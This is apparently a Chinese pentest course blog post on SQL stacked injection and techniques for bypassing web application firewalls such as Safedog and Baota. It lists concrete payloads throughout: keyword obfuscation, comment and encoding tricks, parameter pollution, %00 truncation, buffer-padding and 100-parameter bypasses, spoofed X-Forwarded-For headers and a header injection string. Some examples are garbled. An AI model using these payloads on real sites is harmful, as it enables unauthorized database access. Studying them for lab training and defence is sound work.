第18天-WEB漏洞-SQL注入之堆叠及WAF绕过注入

​ 实际渗透测试过程中,经常会碰到网站存在WAF的情况。网站存在WAF,意味着我们不能使用安全工具对网站进行测试,因为一旦触碰了WAF的规则,轻则丢弃报文,重则拉黑IP。所以,我们需要手动进行WAF的绕过,而绕过WAF前肯定需要对WAF的工作原理有一定的理解。

请添加图片描述
请添加图片描述

堆叠查询注入

(局限性:只产生在部分数据库)

​ Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

如:

请添加图片描述

应用场景:

如:

注入需要管理员账号密码,密码加密,无法解密;

通过堆叠注入可以插入数据(管理员账户密码),用户密码自定义,可以正常登录解密;

等等…(不限于此)

WAF及绕过思路

WAF

​ Web应用防护系统(Web Application Firewall, 简称:WAF)代表了一类新兴的信息安全技术,用以解决诸如防火墙一类传统设备束手无策的Web应用安全问题。

​ WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型WAF指的是硬件型WAF、云WAF、软件型WAF之类的;而嵌入型WAF指的是网站内置的WAF。非嵌入型WAF对Web流量的解析完全是靠自身的,而嵌入型WAF拿到的Web数据是已经被解析加工好的。所以非嵌入型的受攻击机面还涉及到其他层面,而嵌入型WAF从Web容器模块型WAF、代码层WAF往下走,其对抗畸形报文、扫操作绕过的能力越来越强。

阿里云盾

宝塔waf插件

安全狗

WAF绕过-应用层

大小写/关键字替换

id=1UnIoN/**/SeLeCT1,user()

Hex() bin() 等价于 ascii()

Sleep() 等价于 benchmark()

Mid() substring() 等价于substr()

@@user 等价于 User()

@@Version 等价于 version()

各种编码

大小写,URL,hex,%0A等

注释使用

//----+#//+:%00/!/等

再次循环

union==uunionnion

等价替换

user()=@@user()and=&or=|ascii=hex等

参数污染

?id=1&id=2&id=3

编码解码及加密解密

s->%73->%25%37%33

hex,unlcode,base64等

更改请求提交方式

GET POST COOKIE等

POST->multipart/form-data

参数污染

HPP是HTTP Parameter Pollution的缩写,意为HTTP参数污染。

**原理:**浏览器在跟服务器进行交互的过程中,浏览器往往会在GET/POST请求里面带上参数,这些参数会以 名称-值 对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。比如下面这个链接:http://www.baidu.com?name=aa&name=bb ,针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样。有的服务器是取第一个参数,也就是name=aa。有的服务器是取第二个参数,也就是name=bb。有的服务器两个参数都取,也就是name=aa,bb 。这种特性在绕过一些服务器端的逻辑判断时,非常有用。

HPP漏洞,与Web服务器环境、服务端使用的脚本有关。如下是不同Web服务器对于出现多个参数时的选择:

通过HPP接管账户

当网站开发者不熟悉Web服务器对于多参数时如何选择,将给攻击者可乘之机。HPP能针对客户端和服务端进行攻击。

HPP参数污染还可以用于绕过某些防火墙对于 SQL注入的检测,例如当Web服务器对多参数都同时选择时,我们可以用以下这种方式绕过某些防火墙:

http://www.baidu.com/index.asp?page=select 1,2,3 from table where id=1
http://www.baidu.com/index.asp?page=select 1&page=2,3 from table where id=1

请添加图片描述

HTTP参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果

以参数color=red&color=blue为例
请添加图片描述

3. WAF绕过-数据库特性

1、Mysql技巧

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eT9PAg9i-1646229173508)(QQ截图20220302214037.png)]

(1)mysql注释符有三种:#、//、–…(注意–后面有一个空格,或者为–+)

(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]

(3)特殊符号:%a换行符

可结合注释符使用%23%0a,%2d%2d%0a。

(3)内联注释:

/!UnIon12345SelEcT/1,user()//数字范围1000-50540

(4)mysql黑魔法

select{xusername}from{x11test.admin};

2、SQLServer技巧

(1)用来注释掉注射后查询的其余部分:

/*C语言风格注释

SQL注释

;00%空字节

(2)空白符:[0x01-0x20]

(3)特殊符号:%3a冒号

id=1union:select1,2from:admin

(4)函数变形:如db_name 空白字符

3、Oracle技巧

(1)注释符:–、/**/

(2)空白字符:[0x00,0x09,0x0a-0x0d,0x20]

4.配合FUZZ(SQLI FUZZ字典SQL注入过滤关键字的Fuzz字典

就是模糊测试,(编写脚本,批量测试)

select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin

3. WAF绕过-逻辑层

1、逻辑问题

(1)云waf防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。

(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。

(3)HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP

没有防护,直接访问HTTP站点绕过防护。

(4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数

输入,从而导致Bypass。比如:id=1 %00 and 1=2 union select 1,2,column_name from information_schema.columns

2、性能问题

猜想1:在设计WAF系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只

要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。

猜想2:不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向

量时超出了其缓冲区长度就会引发bug,从而实现绕过。

例子1:

?id=1and(select1)=(Select0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9

PS:0xA*1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。

例子2:

?a0=0&a1=1&…&a100=100&id=1

union

select

1,schema_name,3

from

INFORMATION_SCHEMA.schemata

备注:获取请求参数,只获取前100个参数,第101个参数并没有获取到,导致SQL注入绕过。

3、白名单

方式一:IP白名单

从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情

况。

测试方法:修改http的header来bypasswaf

X-forwarded-for

X-remote-IP

X-originating-IP

x-remote-addr

X-Real-ip

方式二:静态资源

特定的静态资源后缀请求,常见的静态文件(.js.jpg.swf.css等等),类似白名单机制,waf为了检测

效率,不去检测这样一些静态文件名后缀的请求。

http://10.9.9.201/sql.php?id=1

http://10.9.9.201/sql.php/1.js?id=1

备注:Aspx/php只识别到前面的.aspx/.php后面基本不识别

方式三:url白名单

为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url

中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势

涉及资源:

https://www.cnblogs.com/backlion/p/9721687.html

https://blog.csdn.net/nzjdsds/article/details/93740686

实例

Sqlilabs-Less38-堆叠注入(多语句)

请添加图片描述
请添加图片描述

WAF 部署-安全狗,宝塔等 waf 搭建部署

参考笔记

简要讲解安全狗,宝塔等防护 waf 策略规则
简要演示安全狗 bypass sqlinject 防护规则

当前执行语句:
select * from users
where id=-1 union select 1,2,3#/
安全狗匹配的时候匹配的是
1/**-1 union select 1,2,3#
/
或1/**&id-1%20union%20select%201,2,3%23*/
其中符号中起到注释作用,正常情况下没有执行,
安全狗直接不管,但是参数污染导致的真实数据是
-1 union select 1,2,3#*/正常执行sql

实测简易 CMS 头部注入漏洞 Bypass 原理分析

抓包,注入点:X-Forwarded-For:
如:X-Forwarded-For:8.8.8.8’ union select 1,2,3,database(),5#

请添加图片描述

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值